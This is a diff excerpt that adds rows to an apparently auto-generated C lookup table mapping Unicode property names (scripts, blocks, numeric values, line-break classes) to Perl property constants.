+  {     1,  8376,   807,   3,   2, PL_LB__SP }   /* lb=sp */,
+  {     0,  8276,  7997,   4,   2, PL_CWCM }   /* cwcm=y */,
+  {     0,  8096,  7646,   4,   7, PL_TAVT }   /* scx=taiviet */,
+  {     5,  8086,     0,   5,   0, PL_QMARK }   /* qmark */,
+  {    16,   184,  1001,   2,  27, PL_ENCLOSEDCJK }   /* isenclosedcjklettersandmonths */,
+  {     1,  7611,     0,   4,   0, PL_SOYO }   /* soyo */,
+  {     1,  3424,  7997,  17,   4, PL_IDSB }   /* idsbinaryoperator=yes */,
+  {     0,  2100,  7009,   4,   7, PL_ITAL }   /* isolditalic */,
+  {     2,  8096,  5777,   4,   6, PL_HEBR }   /* scx=hebrew */,
+  {     1,  1658,     0,  19,   0, PL_CJKCOMPATIDEOGRAPHS }   /* cjkcompatideographs */,
+  {     0,  7459,  7822,   3,   4, PL_HATR }   /* sc=hatr */,
+  {     1,  6890,  7043,   4,   9, PL_INPAUCINHAU }   /* blk=paucinhau */,
+  {     1,  2750,  7997,  19,   4, PL_TERM }   /* terminalpunctuation=yes */,
+  {     4,  8096,  8456,   4,   4, PL_OSGE }   /* scx=osge */,
+  {     6,  1206,  2117,   3,   3, PL_INTHAI }   /* inthai */,
+  {     0,  1448,  7621,   5,   4, PL_SUPPUAA }   /* insuppuaa */,
+  {     0,  6706,  8858,  10,   3, PL_IN__4 }   /* presentin=v40 */,
+  {     7,  6890,  5414,   4,  13, PL_LOWSURROGATES }   /* blk=lowsurrogates */,
+  {     0,  6713,  6796,   3,  10, PL_AGE__NA }   /* in=unassigned */,
+  {     2,  7136,  2814,   6,   9, PL_HALFMARKS }   /* block=halfmarks */,
+  {     0,  7344,  7997,   8,   2, PL_XIDS }   /* xidstart=y */,
+  {     1,  8816,  7750,   3,   1, PL_NV__8 }   /* nv=8 */,
+  {     2,   184,  8002,   3,   4, PL_XPOSIXCNTRL }   /* iscntrl */,
+  {     1,  1448,  3995,   3,   5, PL_INSYRIAC }   /* insyriac */,
+  {     1,  7136,  1209,   6,  25, PL_SUPERANDSUB }   /* block=superscriptsandsubscripts */,
+  {     0,  6890,  2560,   4,  19, PL_JAMOEXTB }   /* blk=hanguljamoextendedb */,
+  {     8,  7429,     0,   7,   0, PL_DSRT }   /* deseret */,
+  {     1,  7288,  8232,   7,   4, PL_AVST }   /* script=avst */,
+  {     0,  5544,  7710,  13,   1, PL_NV__6 }   /* numericvalue=6 */,
+  {     2,   184,  3770,   2,  16, PL_LINEARBSYLLABARY }   /* islinearbsyllabary */,
+  {     0,  3129,  8380,  17,   4, PL_LINA }   /* scriptextensions=lina */,
+  {     5,  7288,  7513,   7,   7, PL_SC__MAND }   /* script=mandaic */,
+  {    16,  1448,  2108,   3,  20, PL_SINHALAARCHAICNUMBERS }   /* insinhalaarchaicnumbers */,
+  {    12,  7459,  6676,   3,  10, PL_XPEO }   /* sc=oldpersian */,
+  {     8,  4464,  8256,   4,   4, PL_DT__CAN }   /* nfdqc=no */,
+  {     4,   468,     0,  11,   0, PL_P }   /* punctuation */,
+  {     1,    21,  3441,   2,  17, PL_LETTERLIKESYMBOLS }   /* inletterlikesymbols */,
+  {     0,  7696,  3581,   6,   2, PL_XPOSIXSPACE }   /* wspace=t */,
+  {     1,  7136,    78,   6,   6, PL_INARABIC }   /* block=arabic */,
+  {    12,  8101,  7997,   5,   2, PL_STERM }   /* sterm=y */,
+  {     1,  5544,  8618,  13,   3, PL_NV__1_SLASH_5 }   /* numericvalue=1/5 */,
+  {     2,  6890,  8126,   4,   5, PL_VSSUP }   /* blk=vssup */,
+  {     0,  1202,  7997,   3,   2, PL_DEP }   /* dep=y */,
+  {     9,  8816,  8674,   3,   2, PL_NV__42 }   /* nv=42 */,
+  {     2,  3994,     0,   6,   0, PL_SYRC }   /* syriac */,
+  {     0,  5544,  7744,  13,   3, PL_NV__700 }   /* numericvalue=700 */,
+  {     1,  6890,  8071,   4,   5, PL_INOSAGE }   /* blk=osage */,
+  {     7,  7478,  3995,   3,   8, PL_SYRIACSUP }   /* issyriacsup */,
+  {     1,   184,  2788,   3,   3, PL_CHER }   /* ischer */,
+  {     3,  6706,  8738,  10,   3, PL_IN__5_DOT_2 }   /* presentin=5.2 */,
+  {     0,   184,    18,   2,   2, PL_RI }   /* isri */,
+  {     0,  8096,  3611,   5,   3, PL_BOPO }   /* scx=bopo */,
+  {     0,  8026,  3165,   5,  10, PL_INPC__TOPANDLEFT }   /* inpc=topandleft */,
+  {     0,  3111,     0,  18,   0, PL_RUMI }   /* ruminumeralsymbols */,
+  {     0,  8248,  4524,   4,   4, PL_BPT__O }   /* bpt=open */,
+  {     0,  3129,  8556,  17,   4, PL_THAI }   /* scriptextensions=thai */,
+  {    67,  4063,  7431,   4,   5, PL_DSRT }   /* indeseret */,
+  {     0,  1417,   699,   9,   6, PL_N }   /* category=number */,
+  {     0,  3373,     8,  15,   1, PL_EA__A }   /* eastasianwidth=a */,
+  {     0,  6546,     0,  10,   0, PL_ASCII }   /* basiclatin */,
+  {    15,  6263,  2284,  10,   2, PL_LB__HL }   /* linebreak=hl */,
+  {     1,  6890,  4104,   4,   5, PL_INBAMUM }   /* blk=bamum */,
+  {     0,  6713,  8759,   3,   3, PL_IN__7 }   /* in=7.0 */,
+  {     3,  7288,  7653,   7,   7, PL_TIBT }   /* script=tibetan */,
+  {    33,  7288,  2484,   7,   4, PL_EGYP }   /* script=egyp */,
+  {    24,  7380,  8646,   7,   2, PL_CCC__29 }   /* ccc=ccc29 */,
+  {    23,  1503,  3391,   3,  10, PL_ETHIOPICEXT }   /* inethiopicext */,
+  {     5,  6647,   958,   4,   2, PL_CAKM }   /* iscakm */,
+  {     1,  6890,  4813,   4,  14, PL_KANASUP }   /* blk=kanasupplement */,
+  {     0,  7136,  5245,   6,   5, PL_ASCII }   /* block=ascii */,
+  {     2,  1918,  7768,  21,   6, -PL_CWU }   /* changeswhenuppercased=false */,
+  {     0,  7459,  8320,   3,   4, PL_HLUW }   /* sc=hluw */,
+  {     3,  8816,  8168,   3,   4, PL_NV__17_SLASH_2 }   /* nv=17/2 */,
+  {     1,   415,     0,  11,   0, PL_IDEO }   /* ideographic */,
+  {     0,  7380,  8164,   4,   2, PL_CCC__15 }   /* ccc=15 */,
+  {     1,  3129,  2249,  17,  10, PL_GLAG }   /* scriptextensions=glagolitic */,
+  {     1,  5544,  7732,  13,   3, PL_NV__500 }   /* numericvalue=500 */,
+  {     1,  2229,  8939,  16,   2, PL_ZP }   /* generalcategory=zp */,
+  {     3,  1746,     0,  23,   0, PL_GCB__SM }   /* graphemeclusterbreak=sm */,
+  {     1,   974,  5219,  27,   2, PL_CCC__10 }   /* canonicalcombiningclass=ccc10 */,
+  {     1,  5192,  3004,   3,  17, PL_PI }   /* isinitialpunctuation */,
+  {     0,  4554,    34,  14,   2, PL_SB__EX }   /* sentencebreak=ex */,
+  {     2,  8572,  5753,   3,  12, PL_WB__GAZ }   /* wb=glueafterzwj */,
+  {     0,  7478,  2750,   3,   4, PL_STERM }   /* issterm */,
+  {     0,  6890,  5717,   4,  12, PL_ETHIOPICEXTA }   /* blk=ethiopicexta */,
+  {     1,  7288,  2044,   7,  11, PL_MTEI }   /* script=meeteimayek */,
+  {    40,  1402,  1704,   4,  10, PL_DIACRITICALS }   /* indiacriticals */,
+  {     1,   218,  6472,   4,   4, PL_POSIXWORD }   /* perlword */,
+  {     8,  6890,  7870,   4,   6, PL_INLEPCHA }   /* blk=lepcha */,
+  {     0,  8584,     0,   4,   0, PL_XSUX }   /* xsux */,
+  {     2,  7459,  8300,   3,   4, PL_SC__GREK }   /* sc=grek */,
+  {     1,  8096,  8436,   4,   4, PL_NSHU }   /* scx=nshu */,
+  {     0,  3129,  8360,  17,   4, PL_KTHI }   /* scriptextensions=kthi */,
+  {    12,  3129,  3566,  17,  11, PL_SGNW }   /* scriptextensions=signwriting */,
+  {     0,  5544,  8862,  13,   2, PL_NV__41 }   /* numericvalue=41 */,
+  {     0,  7459,  7120,   3,   8, PL_BALI }   /* sc=balinese */,
+  {    27,  7689,  3596,   4,   7, PL_ARABICSUP }   /* isarabicsup */,
+  {     0,  7288,  6980,   7,   9, PL_NBAT }   /* script=nabataean */,
+  {     3,  5583,  7997,  13,   4, PL_QMARK }   /* quotationmark=yes */,
+  {    10,    21,   948,   3,  26, PL_ANCIENTGREEKMUSIC }   /* inancientgreekmusicalnotation */,
+  {     3,   184,  3690,   2,  16, PL_PF }   /* isfinalpunctuation */,
+  {     0,  5544,  5219,  13,   5, PL_NV__10000 }   /* numericvalue=10000 */,
+  {     0,  1503,  2896,   3,  10, PL_ETHIOPICSUP }   /* inethiopicsup */,
+  {     0,  7136,  5388,   6,  13, PL_KANAEXTA }   /* block=kanaextendeda */,
+  {     0,    96,     0,  10,   0, PL_XPOSIXALPHA }   /* alphabetic */,
+  {     1,     7,     0,  18,   0, PL_CANS }   /* canadianaboriginal */,
+  {     5,  6890,  3147,   4,  11, PL_TAIXUANJING }   /* blk=taixuanjing */,
+  {     4,  3882,     0,   7,   0, PL_MYMR }   /* myanmar */,
+  {     0,   184,  7409,   3,   6, PL_CJKEXTD }   /* iscjkextd */,
+  {     5,  8101,  3223,   5,   3, -PL_STERM }   /* sterm=no */,
+  {     1,  1417,  3005,  11,  16, PL_PI }   /* category=initialpunctuation */,
+  {     0,  8376,  4194,   3,  15, PL_LB__CB }   /* lb=contingentbreak */,
+  {     1,  1417,  5079,   9,  14, PL_MN }   /* category=nonspacingmark */,
+  {     0,  7136,  2560,   6,  19, PL_JAMOEXTB }   /* block=hanguljamoextendedb */,
+  {    28,  7380,  8655,   7,   2, PL_CCC__33 }   /* ccc=ccc33 */,
+  {     0,  6329,  7096,  11,   8, PL_NT__NU }   /* numerictype=numeric */,
+  {     5,   117,  1688,   4,  14, PL_INDICNUMBERFORMS }   /* inindicnumberforms */,
+  {     2,   947,     0,  17,   0, PL_ANCIENTGREEKMUSIC }   /* ancientgreekmusic */,
+  {     1,  7136,   836,   6,  28, PL_SUPPUAA }   /* block=supplementaryprivateuseareaa */,
+  {     3,  1426,  5999,  22,   6, PL_LB__ZWJ }   /* indicsyllabiccategory=joiner */,
+  {    25,  6890,  7144,   4,   8, PL_INBUGINESE }   /* blk=buginese */,
+  {     4,  6676,     0,  10,   0, PL_XPEO }   /* oldpersian */,
+  {     8,  3129,  4404,  17,  15, PL_MERC }   /* scriptextensions=meroiticcursive */,
+  {     0,    34,  3223,   3,   2, -PL_EXT }   /* ext=n */,
+  {     2,  1106,     0,   2,   0, PL_SK }   /* sk */,
+  {     5,   974,  8740,  24,   2, PL_CCC__25 }   /* canonicalcombiningclass=25 */,
+  {     0,  4404,     0,  15,   0, PL_MERC }   /* meroiticcursive */,
+  {     1,  2229,  1306,  16,  13, PL_M }   /* generalcategory=combiningmark */,
+  {     8,   974,  8703,  27,   2, PL_CCC__34 }   /* canonicalcombiningclass=ccc34 */,
+  {     0,   184,  7272,   2,   8, PL_MAHJ }   /* ismahajani */,
+  {     0,  7288,  4784,   7,   4, PL_CHAM }   /* script=cham */,
+  {     1,  6890,  8368,   4,   3, PL_INLAO }   /* blk=lao */,
+  {     5,  1929,  3581,   5,   2, PL_XPOSIXUPPER }   /* upper=t */,
+  {     4,  1417,  1499,   9,   1, PL_Z }   /* category=z */,
+  {     0,  8096,  7272,   4,   8, PL_MAHJ }   /* scx=mahajani */,
+  {     4,  8011,  3075,   3,  18, PL_ZP }   /* gc=paragraphseparator */,
+  {     4,  3965,     0,  13,   0, PL_MATHOPERATORS }   /* mathoperators */,
+  {     0,    21,  3111,   2,  18, PL_RUMI }   /* inruminumeralsymbols */,
+  {     1,  1929,  7768,   5,   2, -PL_XPOSIXUPPER }   /* upper=f */,
+  {     0,  1417,  5323,   9,  13, PL_ME }   /* category=enclosingmark */,
+  {     0,  8600,     0,   4,   0, PL_QAAI }   /* zinh */,
+  {     0,  5544,  8771,  13,   3, PL_NV__9_SLASH_2 }   /* numericvalue=9/2 */,
+  {     3,  8795,   893,   3,  17, PL_INVS }   /* invariationselectors */,
+  {     0,  5544,  7744,  13,   4, PL_NV__7000 }   /* numericvalue=7000 */,
+  {    24,   513,     0,  16,   0, PL_UIDEO }   /* unifiedideograph */,
+  {     0,  7457,  4715,   5,  14, PL_INSC__CONSONANTFINAL }   /* insc=consonantfinal */,
+  {    10,  1585,     0,   4,   0, PL_JAMO }   /* jamo */,
+  {    25,  7513,     0,   7,   0, PL_MAND }   /* mandaic */,
+  {     0,  2949,     0,  18,   0, PL_INPUNCTUATION }   /* generalpunctuation */,
+  {     0,  7459,  7450,   3,   7, PL_SC__HANO }   /* sc=hanunoo */,
+  {     1,    76,  7088,   2,   8, PL_XPOSIXDIGIT }   /* nt=decimal */,
+  {     0,  2859,  8834,  18,   3, PL_DT__SQR }   /* decompositiontype=sqr */,
+  {     2,  6472,    18,  10,   2, PL_RI }   /* wordbreak=ri */,
+  {     6,  1426,  2189,  22,  20, PL_INSC__CONSONANTPLACEHOLDER }   /* indicsyllabiccategory=consonantplaceholder */,
+  {     0,   494,     0,   3,   0, PL_HAN }   /* han */,
+  {     0,  7459,  7611,   3,   4, PL_SOYO }   /* sc=soyo */,
+  {     2,  7136,   183,   6,  34, PL_MISCPICTOGRAPHS }   /* block=miscellaneoussymbolsandpictographs */,
+  {     0,  1133,  7768,  26,   6, -PL_PCM }   /* prependedconcatenationmark=false */,
+  {     4,  5645,  8807,  10,   3, PL_BC__LRO }   /* bidiclass=lro */,
+  {     5,  8572,    73,   3,   2, PL_LB__EM }   /* wb=em */,
+  {     3,  7380,  8636,   4,   3, PL_CCC__107 }   /* ccc=107 */,
+  {    10,  3994,     0,  16,   0, PL_SYRIACSUP }   /* syriacsupplement */,
+  {     2,  6706,  8765,  10,   3, PL_IN__8 }   /* presentin=8.0 */,
+  {     5,  6713,  8753,   3,   3, PL_IN__6_DOT_2 }   /* in=6.2 */,
+  {     0,  6746,     0,  10,   0, PL_SMALLFORMS }   /* smallforms */,
+  {     2,  5250,  3223,   8,   2, -PL_XPOSIXXDIGIT }   /* hexdigit=n */,
+  {     1,  8508,  7871,   4,   5, PL_LEPC }   /* sc=lepcha */,
+  {     5,  8504,   235,   3,   2, PL_SB__LO }   /* sb=lo */,
+  {     5,  5645,  8825,  10,   3, PL_BC__PDF }   /* bidiclass=pdf */,
+  {     4,  7288,  6806,   7,   4, PL_WARA }   /* script=wara */,
+  {     6,  7478,  2108,   3,  20, PL_SINHALAARCHAICNUMBERS }   /* issinhalaarchaicnumbers */,
+  {     0,  5765,  3223,  12,   3, -PL_GRBASE }   /* graphemebase=no */,
+  {    25,   513,  3223,  16,   3, -PL_UIDEO }   /* unifiedideograph=no */,
+  {     0,  3129,  7991,  17,   5, PL_BUHD }   /* scriptextensions=buhid */,
+  {     1,  2674,     0,  19,   0, PL_SUNDANESESUP }   /* sundanesesupplement */,
+  {     0,  7136,  3021,   6,   9, PL_LATINEXTA }   /* block=latinexta */,
+  {     4,  3526,  7768,  17,   2, -PL_RI }   /* regionalindicator=f */,
+  {     0,  7136,  4209,   6,  15, PL_CONTROLPICTURES }   /* block=controlpictures */,
+  {    21,  7471,  1929,   7,   5, PL_POSIXUPPER }   /* isposixupper */,
+  {     0,  5765,  3223,  12,   2, -PL_GRBASE }   /* graphemebase=n */,
+  {     0,  7136,  6547,   7,   9, PL_ASCII }   /* block=basiclatin */,
+  {     0,  7288,  8408,   7,   3, PL_MRO }   /* script=mro */,
+  {     1,  3129,  8524,  17,   4, PL_SHRD }   /* scriptextensions=shrd */,
+  {     2,  7478,  3567,   3,  10, PL_SGNW }   /* issignwriting */,
+  {     0,  7459,  7312,   3,   4, PL_SC__TAGB }   /* sc=tagb */,
+  {     0,  4314,     5,  13,   1, PL_JG__E }   /* joininggroup=e */,
+  {    19,   184,   235,   2,   2, PL_LO }   /* islo */,
+  {     0,   217,  1392,   6,   9, PL_CS }   /* _perl_surrogate */,
+  {    27,  4314,  7304,  13,   8, PL_JG__SWASHKAF }   /* joininggroup=swashkaf */,
+  {     0,  1358,     0,  20,   0, PL_CE }   /* compositionexclusion */,
+  {     0,  2229,  4599,  16,  15, PL_LU }   /* generalcategory=uppercaseletter */,
+  {     3,  4799,     0,  14,   0, PL_HIGHSURROGATES }   /* highsurrogates */,
+  {    15,    21,  6806,   2,  10, PL_INWARANGCITI }   /* inwarangciti */,
+  {     0,  7478,  6292,   3,   3, PL_SAMR }   /* issamr */,
+  {     2,   184,  6241,   2,  11, PL_KATAKANAEXT }   /* iskatakanaext */,
+  {     3,  8240,  2579,   3,  19, PL_BC__LRO }   /* bc=lefttorightoverride */,
+  {     0,  7288,  7248,   7,   4, PL_SC__JAVA }   /* script=java */,
+  {     2,  4198,  1545,   4,  21, PL_GEOMETRICSHAPESEXT }   /* ingeometricshapesextended */,
+  {     0,  7288,   494,   7,   3, PL_SC__HAN }   /* script=han */,
+  {     0,  2985,     0,  18,   0, PL_IDST }   /* idstrinaryoperator */,
+  {     0,  2023,  7768,  21,   2, -PL_LOE }   /* logicalorderexception=f */,
+  {     1,    25,     0,   1,   0, PL_S }   /* s */,
+  {     2,  7798,  3581,   6,   2, PL_COMPEX }   /* compex=t */,
+  {     0,  2023,  7951,  21,   5, PL_LOE }   /* logicalorderexception=true */,
+  {    11,  8816,  7756,   3,   4, PL_NV__9000 }   /* nv=9000 */,
+  {     1,  6890,  7025,   4,   9, PL_INOLDTURKIC }   /* blk=oldturkic */,
+  {     1,  8348,     0,   4,   0, PL_KALI }   /* kali */,
+  {     4,  8816,  8899,   3,   2, PL_NV__35 }   /* nv=35 */,
+  {     1,  8376,  5777,   3,  12, PL_LB__HL }   /* lb=hebrewletter */,
+  {     2,  1474,  5488,  22,   4, PL_BPT__N }   /* bidipairedbrackettype=none */,
+  {     1,    58,  7997,   4,   2, PL_IDEO }   /* ideo=y */,
+  {     4,  6554,  4105,   3,   4, PL_INBAMUM }   /* inbamum */,
+  {     1,  5375,    18,  12,   1, PL_JT__R }   /* joiningtype=r */,
+  {     0,  6890,   250,   4,  33, PL_DIACRITICALSEXT }   /* blk=combiningdiacriticalmarksextended */,
+  {     1,  7136,  7320,   6,   8, PL_INTIFINAGH }   /* block=tifinagh */,
+  {     0,    84,  3223,   4,   3, -PL_MATH }   /* math=no */,
+  {     4,  7380,  8642,   4,   3, PL_CCC__122 }   /* ccc=122 */,
+  {     3,  6472,  6962,  10,   9, PL_WB__ML }   /* wordbreak=midletter */,
+  {    10,   974,  6836,  24,   9, PL_CCC__AL }   /* canonicalcombiningclass=aboveleft */,
+  {     2,  8376,  8929,   3,   2, PL_GCB__V }   /* lb=jv */,
+  {     1,  6890,    42,   4,   3, PL_CJK }   /* blk=cjk */,
+  {    18,  1417,  2088,   9,   2, PL_PD }   /* category=pd */,
+  {     0,  7471,  5253,   7,   5, PL_POSIXDIGIT }   /* isposixdigit */,
+  {     0,  1354,     0,  24,   0, PL_COMPEX }   /* fullcompositionexclusion */,
+  {     1,  3129,  8300,  17,   4, PL_GREK }   /* scriptextensions=grek */,
+  {    12,  2750,  7997,  19,   2, PL_TERM }   /* terminalpunctuation=y */,
+  {     1,  8508,  8047,   4,   3, PL_SC__LIMB }   /* sc=limb */,
+  {     0,    21,  8368,   2,   3, PL_INLAO }   /* inlao */,
+  {     6,  7459,  2877,   3,   4, PL_SC__DEVA }   /* sc=deva */,
+  {     0,  3129,  2877,  17,  10, PL_DEVA }   /* scriptextensions=devanagari */,
+  {     2,   974,  8673,  24,   2, PL_CCC__14 }   /* canonicalcombiningclass=14 */,
+  {     0,   184,   251,   3,  32, PL_DIACRITICALSEXT }   /* iscombiningdiacriticalmarksextended */,
+  {     1,  8795,  5597,   3,  12, PL_VERTICALFORMS }   /* inverticalforms */,
+  {     0,  6890,  1960,   4,  21, PL_CJKRADICALSSUP }   /* blk=cjkradicalssupplement */,
+  {     5,   184,  1982,   3,  17, PL_CYRILLICSUP }   /* iscyrillicsupplement */,
+  {     0,  6713,  8870,   3,   3, PL_IN__5_DOT_2 }   /* in=v52 */,
+  {     0,  6613,   975,   3,   3, PL_HANO }   /* ishano */,
+  {     0,  7136,   510,   6,  20, PL_CJK }   /* block=cjkunifiedideographs */,
+  {    16,   974,  8690,  24,   3, PL_CCC__AL }   /* canonicalcombiningclass=228 */,
+  {     0,  8508,  7883,   4,   5, PL_LYDI }   /* sc=lydian */,
+  {     3,  2023,  3581,  21,   2, PL_LOE }   /* logicalorderexception=t */,
+  {     0,  6890,  2465,   4,  19, PL_COUNTINGROD }   /* blk=countingrodnumerals */,
+  {     0,  6483,  3223,  11,   3, -PL_XIDC }   /* xidcontinue=no */,
+  {    17,  1206,  7633,   3,   6, PL_INTAGALOG }   /* intagalog */,
+  {     0,  3594,     0,  16,   0, PL_ARABICSUP }   /* arabicsupplement */,
+  {    28,  2100,  6678,   4,   8, PL_XPEO }   /* isoldpersian */,
+  {     3,  8816,  8640,   3,   2, PL_NV__18 }   /* nv=18 */,
+  {     0,  7459,  8280,   3,   4, PL_SC__CYRL }   /* sc=cyrl */,
+  {     4,   974,  6142,  24,  11, PL_CCC__DB }   /* canonicalcombiningclass=doublebelow */,
+  {     0,    21,  3021,   2,   9, PL_LATINEXTA }   /* inlatinexta */,
+  {     0,  2221,  7671,   3,   3, PL_HST__NA }   /* hst=na */,
+  {     1,  5375,    24,  12,   1, PL_JT__L }   /* joiningtype=l */,
+  {     7,  6706,  8726,  10,   3, PL_IN__4_DOT_1 }   /* presentin=4.1 */,
+  {     0,  4757,  7997,  14,   4, PL_GREXT }   /* graphemeextend=yes */,
+  {     1,  6221,  4216,   9,   8, PL_CONTROLPICTURES }   /* incontrolpictures */,
+  {     0,  7136,  7625,   6,   7, PL_SUPPUAB }   /* block=suppuab */,
+  {     0,  4314,  6637,  14,   9, PL_JG__KNOTTEDHEH }   /* joininggroup=knottedheh */,
+  {     0,  8196,  8732,   4,   3, PL_AGE__5 }   /* age=5.0 */,
+  {     0,  7288,  8384,   7,   4, PL_SC__LINB }   /* script=linb */,
+  {    12,  5657,  7951,  12,   5, PL_BIDIM }   /* bidimirrored=true */,
+  {     0,  1887,     0,   5,   0, PL_XPOSIXLOWER }   /* lower */,
+  {     0,   184,  7870,   2,   6, PL_LEPC }   /* islepcha */,
+  {     0,  7288,  7208,   7,   8, PL_SC__HIRA }   /* script=hiragana */,
+  {     0,  6263,  8923,  10,   2, PL_LB__H2 }   /* linebreak=h2 */,
+  {     1,    21,  6980,   2,   9, PL_INNABATAEAN }   /* innabataean */,
+  {     0,  8376,  8935,   3,   2, PL_LB__XX }   /* lb=xx */,
+  {     2,   184,  4827,   2,   6, PL_KANGXI }   /* iskangxi */,
+  {     3,  5544,  7702,  13,   5, PL_NV__20000 }   /* numericvalue=20000 */,
+  {     3,  8340,  2437,   3,   9, PL_JG__YEHBARREE }   /* jg=yehbarree */,
+  {     2,  7380,  8899,   7,   2, PL_CCC__35 }   /* ccc=ccc35 */,
+  {     4,  7459,  7019,   3,   4, PL_SC__PERM }   /* sc=perm */,
+  {     0,  6329,  7762,  11,   6, PL_NT__DI }   /* numerictype=digit */,
+  {     1,  5933,     0,  12,   0, PL_GONM }   /* masaramgondi */,
+  {     0,  8816,  8136,   3,   4, PL_NV___MINUS_1_SLASH_2 }   /* nv=-1/2 */,
+  {     2,  1876,  7951,  21,   5, PL_CWL }   /* changeswhenlowercased=true */,
+  {     1,  7136,  7846,   6,   6, PL_INKAITHI }   /* block=kaithi */,
+  {     0,  7380,  8703,   4,   2, PL_CCC__34 }   /* ccc=34 */,
+  {     0,  5544,  8899,  13,   2, PL_NV__35 }   /* numericvalue=35 */,
+  {     0,  7136,  3322,   6,  17, PL_CYRILLICEXTA }   /* block=cyrillicextendeda */,
+  {     8,  8196,  8723,   4,   3, PL_AGE__4 }   /* age=4.0 */,
+  {     6,  8780,  7768,   3,   2, -PL_CWT }   /* cwt=f */,
+  {     1,  1417,    74,   9,   2, PL_ME }   /* category=me */,
+  {    15,  8520,     0,   4,   0, PL_SHAW }   /* shaw */,
+  {     1,  8340,  4374,   3,  15, PL_JG__MANICHAEANSADHE }   /* jg=manichaeansadhe */,
+  {     0,  2229,    48,  16,   1, PL_P }   /* generalcategory=p */,
+  {     0,  8111,     0,   4,   0, PL_TAKR }   /* takr */,
+  {     0,  6263,  4701,  10,  14, PL_LB__SA }   /* linebreak=complexcontext */,
+  {     1,  8504,   496,   3,   7, PL_LB__NU }   /* sb=numeric */,
+  {     3,  7457,  5993,   5,  12, PL_INSC__NUMBERJOINER }   /* insc=numberjoiner */,
+  {    46,  8096,  8432,   4,   3, PL_NKO }   /* scx=nko */,
+  {     3,   184,  7248,   2,   8, PL_JAVA }   /* isjavanese */,
+  {     0,  7459,  3288,   3,  17, PL_AGHB }   /* sc=caucasianalbanian */,
+  {     0,  8816,  5219,   3,   6, PL_NV__100000 }   /* nv=100000 */,
+  {     4,  6713,  8152,   3,   4, PL_IN__10 }   /* in=10.0 */,
+  {     8,  7828,  3581,   6,   2, PL_HYPHEN }   /* hyphen=t */,
+  {     3,  7840,  1479,   3,   2, PL_VAI }   /* isvai */,
+  {   133,  7288,  7646,   7,   7, PL_TAVT }   /* script=taiviet */,
+  {    13,  8096,  7870,   4,   6, PL_LEPC }   /* scx=lepcha */,
+  {     0,    21,  7360,   3,   6, PL_INAVESTAN }   /* inavestan */,
+  {     1,  8096,  7876,   4,   6, PL_LYCI }   /* scx=lycian */,
+  {     0,  7632,     0,   7,   0, PL_TGLG }   /* tagalog */,
+  {     1,  1448,  2676,   4,  10, PL_SUNDANESESUP }   /* insundanesesup */,
+  {     2,  6706,  8891,  10,   3, PL_IN__9 }   /* presentin=v90 */,
+  {    16,   184,  8360,   2,   4, PL_KTHI }   /* iskthi */,
+  {    35,  6890,  6736,   4,  10, PL_INSAURASHTRA }   /* blk=saurashtra */,
+  {     1,  7136,  5801,   6,   5, PL_INKHMER }   /* block=khmer */,
+  {     2,  1402,  3165,  24,  18, PL_INPC__TOPANDLEFTANDRIGHT }   /* indicpositionalcategory=topandleftandright */,
+  {     0,  8096,  5825,   4,   4, PL_MAHJ }   /* scx=mahj */,
+  {     0,   415,  7768,  11,   6, -PL_IDEO }   /* ideographic=false */,
+  {     0,   218,     0,   2,   0, PL_PE }   /* pe */,
+  {     0,  5645,  3093,  10,  18, PL_BC__RLI }   /* bidiclass=righttoleftisolate */,
+  {    17,  7226,  5252,   6,   6, PL_XPOSIXXDIGIT }   /* xposixxdigit */,
+  {     0,  6890,  6872,   4,   9, PL_ARABICPFB }   /* blk=arabicpfb */,
+  {     0,  8096,  1589,   4,   5, PL_LATN }   /* scx=latin */,
+  {    34,  1402,  4629,  24,  15, PL_LOE }   /* indicpositionalcategory=visualorderleft */,
+  {    10,  6263,  8344,  10,   2, PL_GCB__T }   /* linebreak=jt */,
+  {     2,  6890,  4284,   4,  15, PL_INHANGUL }   /* blk=hangulsyllables */,
+  {     3,    96,  3223,   5,   3, -PL_XPOSIXALPHA }   /* alpha=no */,
+  {     2,  7136,  3611,   7,  15, PL_BOPOMOFOEXT }   /* block=bopomofoextended */,
+  {     1,  8096,  7810,   4,   6, PL_GOTH }   /* scx=gothic */,
+  {     5,  7288,  7822,   7,   4, PL_HATR }   /* script=hatr */,
+  {     0,  3129,  8432,  17,   3, PL_NKO }   /* scriptextensions=nko */,
+  {     2,  7136,  4135,   7,   6, PL_BRAI }   /* block=braille */,
+  {     1,  3129,  3458,  17,   4, PL_MANI }   /* scriptextensions=mani */,
+  {     2,  4284,  4042,  14,   7, PL_LB__H2 }   /* hangulsyllabletype=lv */,
+  {     9,  7136,  3339,   6,  17, PL_CYRILLICEXTB }   /* block=cyrillicextendedb */,
+  {     1,  7136,   690,   6,  16, PL_CUNEIFORMNUMBERS }   /* block=cuneiformnumbers */,
+  {     1,  1701,  3223,   2,   2, -PL_SD }   /* sd=n */,
+  {     8,  8086,  7997,   5,   4, PL_QMARK }   /* qmark=yes */,
+  {     0,  8086,  7768,   5,   2, -PL_QMARK }   /* qmark=f */,
+  {     2,  8240,  3516,   3,  10, PL_BC__WS }   /* bc=whitespace */,
+  {     5,  3424,     0,  17,   0, PL_IDSB }   /* idsbinaryoperator */,
+  {     3,  3129,  2787,  17,   4, PL_CHER }   /* scriptextensions=cher */,
+  {    12,  7380,  5219,   7,   2, PL_CCC__10 }   /* ccc=ccc10 */,
+  {     6,  6890,  8568,   4,   3, PL_INVAI }   /* blk=vai */,
+  {     0,  7459,  8404,   3,   4, PL_SC__MLYM }   /* sc=mlym */,
+  {     0,  6890,  4841,   4,  14, PL_LATINEXTB }   /* blk=latinextendedb */,
+  {     1,  7459,  8492,   3,   4, PL_RUNR }   /* sc=runr */,
+  {     0,  6890,   416,   5,  31, PL_INIDC }   /* blk=ideographicdescriptioncharacters */,
+  {     0,  7136,  7025,   6,   9, PL_INOLDTURKIC }   /* block=oldturkic */,
+  {     1,  3129,  7882,  17,   6, PL_LYDI }   /* scriptextensions=lydian */,
+  {     0,  6472,  1107,  10,   8, PL_WB__KA }   /* wordbreak=katakana */,
+  {     0,  6472,  3985,  10,   9, PL_LB__EM }   /* wordbreak=emodifier */,
+  {     1,  1448,  7605,   3,   6, PL_INSIDDHAM }   /* insiddham */,
+  {     3,  7288,  2674,   7,   4, PL_SUND }   /* script=sund */,
+  {     3,  7380,  8645,   7,   3, PL_CCC__129 }   /* ccc=ccc129 */,
+  {     1,  7136,   468,   6,  11, PL_INPUNCTUATION }   /* block=punctuation */,
+  {     0,  3129,  8324,  17,   4, PL_HMNG }   /* scriptextensions=hmng */,
+  {     1,  8236,     0,   4,   0, PL_BATK }   /* batk */,
